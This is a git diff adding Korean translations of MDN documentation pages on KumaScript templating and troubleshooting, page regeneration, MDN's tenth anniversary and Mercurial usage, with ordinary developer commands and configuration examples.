+ <dd>A list of tags used to organize your bookmarks; these are entirely optional and what (if any) tags you use is up to you.</dd>
+ <dt>Keyword</dt>
+ <dd>The shortcut text you wish to use to access the template. Ideally, this should be something short and quick to type, such as simply "t" or "mdnt".</dd>
+ <dt>Description{{Optional_Inline}}</dt>
+ <dd>A suitable description explaining what the search keyword does.</dd>
+</dl>
+
+<p>The resulting dialog looks something like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14432/Screen%20Shot%202016-11-28%20at%203.08.39%20PM.png" style="height: 289px; width: 500px;"></p>
+
+<p>Then click the "Add" button to save your new search keyword. From then on, typing your keyword, then a space, then the name of a macro will open that macro in your current tab. So if you used "t" as the keyword, typing <kbd>t ListSubpages</kbd> will show you the page at {{TemplateLink("ListSubpages")}}.</p>
+
+<h2 id="Cookbook">Cookbook</h2>
+
+<p>This section will list examples of common patterns for templates used on MDN, including samples of legacy DekiScript templates and their new KumaScript equivalents.</p>
+
+<h3 id="Force_templates_used_on_a_page_to_be_reloaded">Force templates used on a page to be reloaded</h3>
+
+<p>It bears repeating: To force templates used on a page to be reloaded after editing, hit Shift-Reload. Just using Reload by itself will cause the page contents to be regenerated, but using cached templates and included content. A Shift-Reload is necessary to invalidate caches beyond just the content of the page itself.</p>
+
+<h3 id="Recovering_from_Unknown_Error">Recovering from "Unknown Error"</h3>
+
+<p>Sometimes, you'll see a scripting message like this when you load a page:</p>
+
+<pre class="brush: none no-line-numbers notranslate">Kumascript service failed unexpectedly: &lt;class 'httplib.BadStatusLine'&gt;</pre>
+
+<p>This is probably a temporary failure of the KumaScript service. If you Refresh the page, the error may disappear. If that doesn't work, try a Shift-Refresh. If, after a few tries, the error persists - <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org&amp;format=itrequest">file an IT bug</a> for Mozilla Developer Network to ask for an investigation.</p>
+
+<h3 id="Broken_wiki.languages_macros">Broken wiki.languages() macros</h3>
+
+<p>On some pages, you'll see a scripting error like this:</p>
+
+<pre class="brush: none; no-line-numbers notranslate">Syntax error at line 436, column 461: Expected valid JSON object as the parameter of the preceding macro but...</pre>
+
+<p>If you edit the page, you'll probably see a macro like this at the bottom of the page:</p>
+
+<pre class="brush: none no-line-numbers notranslate">\{{ wiki.languages(<code class="language-json">{ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }</code>) }}</pre>
+
+<p>To fix the problem, just delete the macro. Or, replace the curly braces on either side with HTML comments <code>&lt;!-- --&gt;</code> to preserve the information, like so:</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;!-- wiki.languages({ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }) --&gt;</pre>
+
+<p>Because Kuma supports localization differently, these macros aren't actually needed any more. But, they've been left intact in case we need to revisit the relationships between localized pages. Unfortunately, it seems like migration has failed to convert some of them properly.</p>
+
+<h3 id="Finding_the_Current_Pages_Language">Finding the Current Page's Language</h3>
+
+<p>In KumaScript, the locale of the current document is exposed as an environment variable:</p>
+
+<pre class="brush: js no-line-numbers notranslate">const lang = env.locale;</pre>
+
+<p>The <code>env.locale</code> variable should be reliable and defined for every document.</p>
+
+<h3 id="Reading_the_contents_of_a_page_attachment">Reading the contents of a page attachment</h3>
+
+<p>You can read the contents of an attached file by using the <code>mdn.getFileContent()</code> function, like this:</p>
+
+<pre class="brush: js notranslate">&lt;%
+  let contents = mdn.getFileContent(fileUrl);
+  // ... do stuff with the contents ...
+%&gt;
+</pre>
+
+<p>or</p>
+
+<pre class="brush: js no-line-numbers notranslate">&lt;%- mdn.getFileContent(fileObject); %&gt;
+</pre>
+
+<p>In other words, you may specify either the URL of the file to read or as a file object. The file objects for a page can be accessed through the array <code>env.files</code>. So, for example, to embed the contents of the first file attached to the article, you can do this:</p>
+
+<pre class="brush: js no-line-numbers notranslate">&lt;%- mdn.getFileContent(env.files[0]); %&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> You probably don't want to try to embed the contents of a non-text file this way, as the raw contents would be injected as text. This is meant to let you access the contents of text attachments.</p>
+</div>
+
+<p>If the file isn't found, an empty string is returned. There is currently no way to tell the difference between an empty file and a nonexistent one. But if you're putting empty files on the wiki, you're doing it wrong.</p>
+
+<h3 id="Localizing_template_content" name="Localizing_template_content">テンプレートのローカライズ</h3>
+
+<p>Templates are not translated like wiki pages, rather any single template might be used for any number of locales.</p>
+
+<p>So the main way to output content tailored to the current document locale is to pivot on the value of <code>env.locale</code>. There are many ways to do this, but a few patterns are common in the conversion of legacy DekiScript templates:</p>
+
+<h4 id="Ifelse_blocks_in_KumaScript">If/else blocks in KumaScript</h4>
+
+<p>The KumaScript equivalent of this can be achieved with simple if/else blocks, like so:</p>
+
+<pre class="brush: js notranslate">&lt;% if ("fr" == env.locale) { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a href="/fr/docs/Référence_CSS/Extensions_Mozilla"&gt;Référence CSS: Extensions Mozilla&lt;/a&gt;
+&lt;% } else if ("ja" == env.locale) { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a href="/ja/docs/CSS_Reference/Mozilla_Extensions"&gt;CSS リファレンス: Mozilla 拡張仕様&lt;/a&gt;
+&lt;% } else if ("pl" == env.locale) { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a href="/pl/docs/Dokumentacja_CSS/Rozszerzenia_Mozilli"&gt;Dokumentacja CSS: Rozszerzenia Mozilli&lt;/a&gt;
+&lt;% } else if ("de" == env.locale) { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a href="/de/docs/CSS_Referenz/Mozilla_CSS_Erweiterungen"&gt;CSS Referenz: Mozilla Erweiterungen&lt;/a&gt;
+&lt;% } else { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a href="/en-US/docs/CSS_Reference/Mozilla_Extensions"&gt;CSS Reference: Mozilla Extensions&lt;/a&gt;
+&lt;% } %&gt;</pre>
+
+<p>Depending on what text editor is your favorite, you may be able to copy &amp; paste from the browser-based editor and attack this pattern with a series of search/replace regexes to get you most of the way there.</p>
+
+<p>My favorite editor is MacVim, and a series of regexes like this does the bulk of the work with just a little manual clean up following:</p>
+
+<pre class="brush: none notranslate">%s#&lt;span#^M&lt;span#g
+%s#&lt;span lang="\(.*\)" .*&gt;#&lt;% } else if ("\1" == env.locale) { %&gt;#g
+%s#&lt;span class="script"&gt;template.CSSxRef(#&lt;%- template("CSSxRef", [#
+%s#)&lt;/span&gt; &lt;/span&gt;#]) %&gt;
+</pre>
+
+<p>Your mileage may vary, and patterns change slightly from template to template. That's why the migration script was unable to just handle this automatically, after all.</p>
+
+<h4 id="String_variables_and_switch">String variables and switch</h4>
+
+<p>Rather than switch between full chunks of markup, you can define a set of strings, switch them based on locale, and then use them to fill in placeholders in a single chunk of markup:</p>
+
+<pre class="brush: js notranslate">&lt;%
+var s_title = 'Firefox for Developers';
+switch (env.locale) {
+    case 'de':
+        s_title = "Firefox für Entwickler";
+        break;
+    case 'fr':
+        s_title = "Firefox pour les développeurs";
+        break;
+    case 'es':
+        s_title = "Firefox para desarrolladores";
+        break;
+};
+%&gt;
+&lt;span class="title"&gt;&lt;%= s_title %&gt;&lt;/span&gt;</pre>
+
+<h4 id="Use_mdn.localString">Use <code class="language-javascript">mdn.localString()</code></h4>
+
+<p>A recent addition to the <code>MDN:Common</code> module is <code class="language-javascript">mdn.localString()</code>, used like this:</p>
+
+<pre class="brush: js notranslate">&lt;%
+var s_title = mdn.localString({
+  "en-US": "Firefox for Developers",
+  "de": "Firefox für Entwickler",
+  "es": "Firefox para desarrolladores"
+});
+%&gt;
+&lt;span class="title"&gt;&lt;%= s_title %&gt;&lt;/span&gt;</pre>
+
+<p>This is more concise than the switch statement, and may be a better choice where a single string is concerned. However, if many strings need to be translated (e.g., as in {{TemplateLink("CSSRef")}}), a switch statement might help keep all the strings grouped by locale and more easily translated that way.</p>
+
+<p>When the object does not have the appropriate locale, the value of "en-US" is used as the initial value.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://github.com/mdn/kumascript">KumaScript source code</a></li>
+ <li><a href="https://wiki.mozilla.org/MDN/Kuma">Kuma wiki</a></li>
+</ul>
diff --git a/files/ko/mdn/tools/kumascript/troubleshooting/index.html b/files/ko/mdn/tools/kumascript/troubleshooting/index.html
new file mode 100644
index 0000000000..ab72f466f1
--- /dev/null
+++ b/files/ko/mdn/tools/kumascript/troubleshooting/index.html
@@ -0,0 +1,59 @@
+---
+title: KumaScript 에러 해결하기
+slug: MDN/Tools/KumaScript/Troubleshooting
+translation_of: MDN/Tools/KumaScript/Troubleshooting
+---
+<div>{{MDNSidebar}}</div>
+
+<div class="summary">
+<p><a href="/en-US/docs/MDN/Kuma/Introduction_to_KumaScript"> </a>빨갛고 무서운 상자 안에 든 <a href="/en-US/docs/MDN/Kuma/Introduction_to_KumaScript">KumaScript</a> 에러는 매우 보기 불편합니다. 하지만 다행히도, MDN 계정이 있다면 누구나 문서를 편집해 이 문제를 해결할 수 있어요. When a page has an error it gets added to the list of <a href="/docs/with-errors">documents with errors</a>.  Site editors go through this list regularly to find and fix errors. This article details the four types of KumaScript error, and some steps you can take to fix them.</p>
+</div>
+
+<h2 id="DocumentParsingError">DocumentParsingError</h2>
+
+<p><code>DocumentParsingError</code> errors appear when KumaScript has trouble understanding something in the document itself. The most common cause is a syntax error in a <a href="/en-US/docs/MDN/Contribute/Content/Macros">macro</a>.</p>
+
+<p>Check for:</p>
+
+<dl>
+ <dt>Use of curly braces without intending to call a macro.</dt>
+ <dd>If you need to write  \{ in a document without calling a macro you can escape it with a \ like this: <code>\\{</code></dd>
+ <dt>Use of a special character in a macro parameter.</dt>
+ <dd>If you need to use a " or a \  inside of a macro parameter they can be escaped with a \ like this: <code>\\</code> or <code>\"</code></dd>
+ <dt>Missing commas between macro parameters.</dt>
+ <dd>Macro parameters need to be delimited by a comma (,) but not at the end of the list of parameters; for example <code>\{\{anch("top", "Back to top")}}</code>.</dd>
+ <dt>HTML tags appearing inside a macro call</dt>
+ <dd>If you apply styling to a macro, it will often break because, for example, a <code>&lt;/code&gt;</code> tag may have appeared inside the macro code in the source code. Check the source view to see what's there, and remove any unnecessary styling.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="TemplateLoadingError">TemplateLoadingError</h2>
+
+<p><code>TemplateLoadingError</code> errors appear when KumaScript has trouble finding which <a href="/en-US/docs/MDN/Contribute/Content/Macros">macro</a> to include on a page.</p>
+
+<p>Check for:</p>
+
+<dl>
+ <dt>Misspelling of macro names or renamed macros.</dt>
+ <dd>You can look at the list of known macros in the <a href="https://github.com/mdn/kumascript/tree/master/macros">Github repo</a>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Tip:</strong> You can make it quick and easy to jump to a specific macro by adding a <a href="http://kb.mozillazine.org/Using_keyword_searches">search keyword</a> to Firefox. See {{SectionOnPage("/en-US/docs/MDN/Contribute/Tools/KumaScript", "Using search keywords to open template pages")}} for a step-by-step guide to creating the search keyword for this.</p>
+</div>
+
+<h2 id="TemplateExecutionError">TemplateExecutionError</h2>
+
+<p><code>TemplateExecutionError</code> errors appear when KumaScript encounters an error in the macro. These errors can only be fixed by admin users and need to be reported as bugs.</p>
+
+<p>Before reporting an error check to see that it hasn't already been fixed. You can do this by forcing KumaScript to give you a fresh copy of the page by holding down <kbd>Shift</kbd> while you refresh the page (<kbd>Shift</kbd> + <kbd>Ctrl</kbd> + <kbd>R</kbd> on Windows/Linux, <kbd>Shift</kbd> + <kbd>Cmd</kbd> + <kbd>R</kbd> on Mac).</p>
+
+<p>If the error persists, <a href="https://bugzilla.mozilla.org/form.doc">report a bug</a>, including the URL of the page and the text of the error.</p>
+
+<h2 id="Error_Unknown">Error &amp; Unknown</h2>
+
+<p>This is the category errors end up in if they are not one of the other kinds of error.</p>
+
+<p>Check for fixes and report persistent bugs like described under <a href="#TemplateExecutionError">TemplateExecutionError</a>.</p>
diff --git a/files/ko/mdn/tools/페이지_재생성/index.html b/files/ko/mdn/tools/페이지_재생성/index.html
new file mode 100644
index 0000000000..2b75d2508f
--- /dev/null
+++ b/files/ko/mdn/tools/페이지_재생성/index.html
@@ -0,0 +1,34 @@
+---
+title: 페이지 재생성
+slug: MDN/Tools/페이지_재생성
+tags:
+  - Guide
+  - MDN Meta
+  - Page-level
+  - Tools
+translation_of: MDN/Tools/Page_regeneration
+---
+<div>{{MDNSidebar}}</div><p>MDN 사이트는 성능상의 이유로 페이지를 캐시합니다. 그 결과, 당신이 페이지에 저장한 변경 사항이 다음 번 페이지 새로 고침할 때 나타나지 않을 수 있습니다. 자주, 항상은 아니지만, 배너가 페이지 업데이트가 진행 중임을 알리는 페이지에 나타납니다. 당신은 서버에서 페이지를 새로 고침하기 위해 브라우저에 "강제 새로 고침"을 할 수 있지만, 이는 서버의 업데이트가 끝나지 않았다면 효과가 없을 지도 모릅니다.</p>
+
+<p>일부 페이지(특히 첫방문landing 페이지)는 자동으로 생성하고 콘텐츠를 업데이트하기 위해 매크로를 사용합니다. 첫방문 페이지의 경우, 매크로는 글쓴이가 손수 추가할 필요 없이 새 글이 자동으로 페이지에 나열되게 합니다. 이는 오랜 공헌자에게는 편리하고, 새로 온 이들은 사이트 계층구조에 자신의 글을 링크하는 법을 모르기에 그들의 작업을 셔플에서 잃는 것을 막는 데 도움이 됩니다.</p>
+
+<p>이는 (예를 들어, {{TemplateLink("Page")}} 매크로를 써서) 한 페이지의 콘텐츠를 다른 페이지로 삽입(transcluding)할 때도 사용할 수 있습니다.</p>
+
+<p><span class="seoSummary">MDN은 성능상의 이유로 렌더링된 콘텐츠를 캐시하기 때문에, (매크로 출력이나 삽입transcluded 페이지 같은) 원 저작물(source material)에 더해진 변경 사항은 자동으로 페이지에 반영되지 않습니다. 그러한 원 저작물에 자주 변경이 예상되는 경우, 자동 페이지 재생성 활성화를 고려할 수 있습니다.</span></p>
+
+<p>자동 재생성을 활성화하기 위해서:</p>
+
+<ol>
+ <li>편집 모드 진입을 위해 페이지 상의 <strong>편집</strong> 버튼 클릭.</li>
+ <li>페이지 제목 아래, 페이지 제목 근처에 위치한 <strong>페이지 제목과 속성 편집</strong> 클릭. 페이지 메타데이터 필드가 나타남.</li>
+ <li><strong>렌더링 최대 수명</strong>값을 설정. 이 값은 캐시된 페이지의 매크로 재실행을 포함하여, 재빌드되는 일정을 결정합니다. 보통, 우리는 여기에 4내지 8시간을 사용합니다. 기술의 문서화가 빠르게 바뀌는 경우, 더 작은 수를 선택할 수 있습니다.</li>
+ <li>페이지에 변경 사항을 저장. 리비전 코멘트에 "렌더링 최대 수명을 4시간으로 설정"과 같이, 당신이 작업한 내용을 설명하는 것은 좋은 습관입니다. </li>
+</ol>
+
+<p>페이지는 당신이 지정한 일정대로 자동으로 재성성됩니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> "페이지 제목과 속성 편집" 옵션은 새 페이지를 만들 때는 이용할 수 없습니다. 첫 번째 저장 이후로 편집기를 다시 열어야 합니다.</p>
+</div>
+
+<p> </p>
diff --git a/files/ko/mdn/user_guide/index.html b/files/ko/mdn/user_guide/index.html
new file mode 100644
index 0000000000..5abcd75cc9
--- /dev/null
+++ b/files/ko/mdn/user_guide/index.html
@@ -0,0 +1,11 @@
+---
+title: MDN 사용자 가이드
+slug: MDN/User_guide
+tags:
+  - 모질라 개발자 네트워크
+  - 사용자 가이드
+translation_of: MDN/Tools
+---
+<div>{{MDNSidebar}}</div><p>모질라 개발자 네트워크 (이하 MDN) 사이트는, (파이어폭스 및 파이어폭스 운영체제 개발자 뿐 아니라) 웹 개발자를 위한 문서 및 샘플 코드를 찾고, 읽고, 기여하는 고급 시스템입니다. MDN 사용자 가이드는 필요한 문서를 찾도록 MDN을 이용하는 방법을, 원한다면 좀 더 좋은, 더 광범위하고, 더 완전한 자료를 만들도록 돕는 방법을 열거하는 항목을 제공합니다.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/mdn_at_ten/index.html b/files/ko/mdn_at_ten/index.html
new file mode 100644
index 0000000000..d4883ca7cd
--- /dev/null
+++ b/files/ko/mdn_at_ten/index.html
@@ -0,0 +1,43 @@
+---
+title: MDN at 10
+slug: MDN_at_ten
+tags:
+  - MDN
+  - MDN 메타
+  - MDN 변천
+  - 역사
+  - 출발
+translation_of: MDN_at_ten
+---
+<p class="hidden"><span class="seoSummary">당신의 웹을 문서화 하는 것의 10주년을 기념하세요.</span></p>
+
+<div class="column-container">
+<div class="column-8">
+<h2 id="MDN의_역사">MDN의 역사</h2>
+
+<p>2005년, 이상주의자들로 이루어진 작은 팀은 웹 개발자들을 위한 새롭고 무료이며 협력으로 만들어진 온라인 리소스를 만들었습니다. 그들의 뛰어난, 그러나 색다른 아이디어는 오늘날의 오픈 웹 기술자들을 위한 최고의 리소스인 Mozilla 개발자 네트워크로 성장되었습니다. 10년뒤, 우리의 세계적 커뮤니티는 역대 최고이며, 우리는 여전히 함께 문서를 만들고 코드를 작성하며 오픈 웹을 현재와 같이 강력하게 만들어주는 CSS, HTML, 자바스크립트 등과 같은 오픈 웹 기술자들을 위한 리소스들을 배웁니다.</p>
+
+<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/History_of_MDN">더 알아보기<span class="offscreen">about the history</span></a></p>
+
+
+<h2 id="MDN에_공헌하기">MDN에 공헌하기</h2>
+
+<p>10년동안 MDN 커뮤니티는 오픈 웹을 기록해왔습니다. 간단한 오탈자 수정에서부터 새로운 API의 전체를 작성하는 것까지, 모두가 무언가를 제공했고, 어떠한 기여도 적지 않았습니다. 우리는 Mozillians의 뛰어난 맴버들이 작성하거나 번역한 9만 페이지 이상의 자료들이 있습니다. 당신도 그중 하나가 될 수 있습니다.</p>
+
+<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">더 알아보기<span class="offscreen">about contributing</span></a></p>
+
+<p> </p>
+
+<p> </p>
+</div>
+
+<div class="column-4">{{TenthCampaignQuote}}</div>
+
+<h2 id="추가정보">추가정보</h2>
+
+<ol>
+ <li><a href="/en-US/docs/MDN_at_ten/">MDN 10주년</a></li>
+ <li><a href="/en-US/docs/MDN_at_ten/History_of_MDN">MDN의 역사</a></li>
+ <li><a href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">MDN에 기여하기</a></li>
+</ol>
+</div>
diff --git a/files/ko/mercurial_faq/index.html b/files/ko/mercurial_faq/index.html
new file mode 100644
index 0000000000..c433466137
--- /dev/null
+++ b/files/ko/mercurial_faq/index.html
@@ -0,0 +1,646 @@
+---
+title: Mercurial 사용
+slug: Mercurial_FAQ
+translation_of: Mercurial/Using_Mercurial
+---
+<h2 id="How_do_I_install_Mercurial.3F" name="How_do_I_install_Mercurial.3F">Mercurial 설치와 설정</h2>
+<p><a href="/en-US/docs/Installing_Mercurial" title="/en-US/docs/Installing_Mercurial">Installing Mercurial 설치</a>를 참고하세요. Mercurial이 이미 설치되어 있어도 다음 사항을 확인하세요.</p>
+<ul>
+  <li>최신 버전을 사용하고 있는지 확인하세요</li>
+  <li>올바르게 설정되었는지 확인(설치페이지의 설명을 참고하세요)하세요.</li>
+</ul>
+<h2 id="How_can_I..." name="How_can_I...">어떻게...</h2>
+<h3 id="How_can_I_check_out_Mozilla.3F" name="How_can_I_check_out_Mozilla.3F">Mozilla 코드를 어떻게 받을 수 있나요?</h3>
+<p>Gecko와 Firefox의 기본 개발 저장소를 클론받기 위해서는 아래와 같이 하세요:</p>
+<pre>hg clone http://hg.mozilla.org/mozilla-central/ src
+cd src</pre>
+<p>다른 저장소는 <a href="/En/Developer_Guide/Source_Code/Mercurial" title="https://developer.mozilla.org/En/Developer_Guide/Source_Code/Mercurial">Mercurial을 이용해서 Mozilla의 소스 코드 받기</a>를 참고하세요.</p>
+<h3 id="How_can_I_edit_and_update_files.3F" name="How_can_I_edit_and_update_files.3F">어떻게 파일을 수정하고 업데이트 하나요?</h3>
+<p>CVS처럼 작업 디렉토리에서 아무 파일이나 수정할 수 있습니다.</p>
+<p>트리를 업데이트하는 일반적인 명령어는 다음과 같습니다:</p>
+<pre class="eval">hg pull -u
+</pre>
+<p>하나의 디렉토리만 업데이트 하는 일은 할 수 없습니다. 전체 트리를 업데이트 해야만 합니다.</p>
+<h3 id="How_can_I_diff_and_patch_files.3F" name="How_can_I_diff_and_patch_files.3F">How can I diff and patch files?</h3>
+<ul>
+  <li><code>hg diff</code> diffs the entire tree by default. Use <code>hg diff &lt;dir&gt;</code> to diff only the given directory. Don't forget to <code>hg add</code> any new files you are adding before generating the patch.</li>
+  <li>If you are changing binary files or renaming files you may want to use git style patches with <code>hg diff -g</code> to retain that sort of information in the patch.</li>
+  <li>When applying a patch generated by Mercurial, use <code>patch -p1</code>, not <code>patch -p0</code>. (This is due to a quirk of Mercurial diff output—it refers to fictional "a" and "b" directories. Don't ask.).</li>
+  <li>If you have a git style patch with renames and/or binary changes you can use <code>hg import --no-commit</code> to apply the patch to your tree or use <code>hg qimport</code> to import the patch to mq.</li>
+  <li>There's <a class="link-https" href="https://hg.mozilla.org/users/robarnold_cmu.edu/qimportbz" title="https://hg.mozilla.org/users/robarnold_cmu.edu/qimportbz">hg qimportbz extension</a> (<a class="external" href="http://robarnold.org/2009/06/02/hg-qimport-my-bugzilla-patch-redux.html" title="http://robarnold.org/2009/06/02/hg-qimport-my-bugzilla-patch-redux.html">blog post</a>) that lets you import patches directly from bugzilla to mq.   (Since that blog post was written, the command syntax has changed.  It is now: <code>hg qimport <a class="external" rel="freelink">bz://1234567</a></code>)</li>
+  <li>If you have it, <code>git-apply</code> can also be used to apply patches. It can handle most forms of Mercurial diff output, but it won't automatically tell Mercurial about added, copied, removed or renamed files, and it cannot reverse binary changes (except to remove added binary files).</li>
+</ul>
+<p>Preferred diff options are <code>hg diff -p -U 8</code> which includes 8 lines of context and shows the relevant function for the block. You can make these options default in the <a class="internal" href="/en/Mercurial_FAQ#Configuration" title="en/Mercurial FAQ#Configuration">Mercurial configuration file</a>.</p>
+<h3 id="How_can_I_generate_a_patch_for_somebody_else_to_check-in_for_me.3F" name="How_can_I_generate_a_patch_for_somebody_else_to_check-in_for_me.3F">How can I generate a patch for somebody else to check-in for me?</h3>
+<p>If you don't have commit access yourself, you need to attach your patches to a bug for somebody to check in.  In order to do that, you should make sure that your patch has the following conditions:</p>
+<ol>
+  <li>It has a correctly formatted author name.</li>
+  <li>It has a correctly formatted commit message.</li>
+  <li>It is generated in git style.</li>
+</ol>
+<p>Here is a very easy way to get this setup working using <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/MqExtension" style="">mq</a>.  First, you need to edit your <code>~/.hgrc</code> file.  You only need to do this once.  Your hgrc file should have the following contents at least:</p>
+<pre>[ui]
+username = John Smith &lt;john@smith.com&gt;
+
+[defaults]
+qnew = -Ue
+
+[extensions]
+mq =
+
+[diff]
+git = 1
+showfunc = 1
+unified = 8
+</pre>
+<p>Now, in order to create a patch, you should enter:</p>
+<pre>hg qnew name.patch
+</pre>
+<p>which opens up your favorite editor so that you can enter a good commit message.  A good sample commit message looks like: "Bug 123456 - Change this thing to work better by doing something; r=reviewers".  You don't need to enter the final commit message (for example, if you haven't received reviews yet).  You can edit the commit message of the current <code>mq</code> patch at any time using <code>hg qref -e</code>.</p>
+<p>The <code>~/.hgrc</code> default <code>-U</code> argument for the qnew command add the author information to the patch (using a <code>From:</code> header), and the default <code>-e</code> argument opens up the editor for you to type in a commit message.</p>
+<p>Now, after editing some source code, you can use <code>hg qref</code> to update your patch file.</p>
+<p>To attach the patch to the bug, you can use the file named <code>name.patch</code> located in your <code>&lt;repository&gt;/.hg/patches</code> directory directly.</p>
+<h3 id="How_do_I_check_stuff_in.3F" name="How_do_I_check_stuff_in.3F">어떻게 변경 내용을 적용(check in)하나요?</h3>
+<h4 id="Required_configuration" name="Required_configuration">필수 설정</h4>
+<p>변경 내용을 커밋하기 전에 이 내용을 <code>~/.hgrc</code> 파일에 추가해야 합니다:</p>
+<pre class="eval">[ui]
+username = Your Name &lt;<a class="link-mailto" href="mailto:your.email@example.com" rel="freelink">your.email@example.com</a>&gt;
+</pre>
+<p><a href="/en/mozilla-central" title="en/mozilla-central">mozilla-central</a>이나 다른 mozilla-hosted 저장소에 변경내용을 올리기 위해서는 커밋 권한을 가지고 있어야 하고 <code><em>(your-local-hg-root)</em>/.hg/hgrc</code> (<code>~/.hgrc</code> 파일이 <strong>아닙니다</strong>) 파일에 다음의 내용을 넣어야 합니다:</p>
+<pre class="eval">[paths]
+default = <span class="nowiki">http://hg.mozilla.org/mozilla-central/</span>
+<strong>default-push = <span class="nowiki">ssh://hg.mozilla.org/mozilla-central/</span></strong>
+</pre>
+<p>또한 ssh에 hg.mozilla.org에 접속할 사용자 이름이 무엇인지 알려주어야 합니다. 이 이름은 Mozilla LDAP 계정과 연결된 사용자 이름이어야 합니다. 이를 위해서 위에 있는 default-push 경로는 좀 더 복잡하게 만들거나 (<code><span class="link-mailto">user@host.name</span>@hg.mozilla.org</code>) ~/.ssh/config에 다음 내용을 넣어서 해결할 수 있습니다:</p>
+<pre class="eval">Host hg.mozilla.org
+User <a class="link-mailto" href="mailto:user@host.domain" rel="freelink">user@host.domain</a>
+</pre>
+<h4 id="Check_what_you.27re_going_to_commit" name="Check_what_you.27re_going_to_commit">커밋하려고 하는 내용 확인</h4>
+<p>다음으로 정말로 커밋하고자 하는 내용을 커밋하게 될 것인지 확인합니다(특히나 다른 까다로운 커밋을 머지할 때에 중요합니다):</p>
+<pre class="eval">hg status
+hg diff
+</pre>
+<p><code>status</code> 명령어는 작업 디렉토리의 변경된 내용이 있는 파일과 저장소(부모 리비전으로서 <code>hg parents</code>를 이용해서 볼 수 있습니다)에 있는 내용을 비교해서 보여줍니다. <code>hg diff</code>는 이 파일들의 실제 변경 내역을 하나의 diff로 보여줍니다. 더 자세한 내용을 보기 위해서 -U8 옵션을 설정할 수 있습니다.</p>
+<h4 id="Commit_to_the_local_repository" name="Commit_to_the_local_repository">로컬 저장소에 커밋</h4>
+<p>다음 단계로 변경내용을 <em>로컬 저장소에 커밋</em>합니다:</p>
+<pre class="eval">hg commit
+</pre>
+<p>이렇게 하면 <code>hg status</code>로 보고된 변경내용을 매번 커밋합니다. <code>hg commit <em>filenames</em></code>을 이용해서 특정 파일이나 디렉토리만 커밋 할 수 있습니다. <code>hg commit -u "Someone Else &lt;<a class="link-mailto" href="mailto:someone@example.com" rel="freelink">someone@example.com</a>&gt;"를 사용해서 다른사람을 대신해서 커밋할 수도 있습니다</code>. 더 자세한 내용은 <code>hg help commit</code>을 살펴보세요.</p>
+<p>새로운 파일을 저장소에 추가된고 필요없는 파일을 지우려면 다음 명령어를 사용하세요.</p>
+<pre class="eval">hg addremove
+</pre>
+<h4 id="Check_what_you.27re_going_to_push" name="Check_what_you.27re_going_to_push">푸시하려는 내용 확인</h4>
+<p>푸시를 하기 전에 어떠한 변경내용(changeset)이 푸시될지 확인할 수 있습니다.<code> 이를 위해서 outgoing</code> 명령어를 사용합니다:</p>
+<pre class="eval">hg outgoing
+</pre>
+<p>이렇게 하면 기본 원격 저장소에 푸시할 변경내용의 목록을 보여줍니다. 다른 저장소에 푸시될 변경내용을 확인하려면 저장소 아규먼트를 추가합니다.</p>
+<h4 id="Push_to_the_central_repository" name="Push_to_the_central_repository">중앙 저장소에 푸시</h4>
+<p>중앙 저장소에 이 변경사항을들 푸시해서 올립니다:</p>
+<pre class="eval">hg push
+</pre>
+<h4 id="Preventing_accidental_pushes" name="Preventing_accidental_pushes">실수로 푸시하는 일 방지</h4>
+<p><code>qpush</code> 명령어가 쉽게 <code>push</code>로 잘못 입력될 수 있기 때문에, MQ 패치를 적용할 때 실수로 푸시를 하게될 수 있습니다. 실수로 푸시하는 일을 방지하기 위해서는 아래의 내용을 <code>~/.hgrc</code> 파일에 기입합니다:</p>
+<pre class="eval">[hooks]
+pre-push = read -p 'Are you sure you want to push to remote? (y/n): '; if test "$REPLY" != "y"; then echo 'Push cancelled'; exit 1; fi
+</pre>
+<p>이렇게 하면 <code>push</code> 명령어를 입력할 때 마다 사용자가 확인을 해야 하고 y 이외의 다른 내용을 입력하면 푸시가 취소됩니다.</p>
+<h3 id="How_do_I_deal_with_.22abort:_push_creates_new_remote_heads.21.22.3F" name="How_do_I_deal_with_.22abort:_push_creates_new_remote_heads.21.22.3F">How do I deal with "abort: push creates new remote heads!"?</h3>
+<p>Whatever you do, don't do 'push -f' like the message suggests. (It'll probably fail anyway, but don't try it.)</p>
+<p>Someone pushed new commits upstream since your last pull. You then committed your patch locally and are trying to push that commit upstream; that upstream has a different tip commit that you started from.</p>
+<pre>  <strong>YOU</strong> ---&gt; o  9123b7791b52 - Kaitlin Jones <span class="plain">&lt;kaitlin@example.net&gt;</span> - Bug 123456 - Trebled fromps (r=gavin)
+           |
+<strong>TRUNK</strong> ---&gt; | o  306726089e22 - Robert Longson <span class="plain">&lt;longsonr@example.com&gt;</span> - Bug 437448. New-style nsSVGString
+           | |
+           | o  ba9b9a7c52a5 - Robert Longson <span class="plain">&lt;longsonr@example.com&gt;</span> - Bug 437448. New-style nsSVGString
+           |/
+           o  f8f4360bf155 - Robert O'Callahan <span class="plain">&lt;robert@example.org&gt;</span> - Bug 421436. Remove hack that gives</pre>
+<p>There are three things you can do. In all cases, you are strongly encouraged to take steps to back up your patch (perhaps by obtaining a diff: hg log -p -r 12345 to show the patch for rev 12345).</p>
+<h4 id="Using_hg_merge">Using <code>hg merge</code></h4>
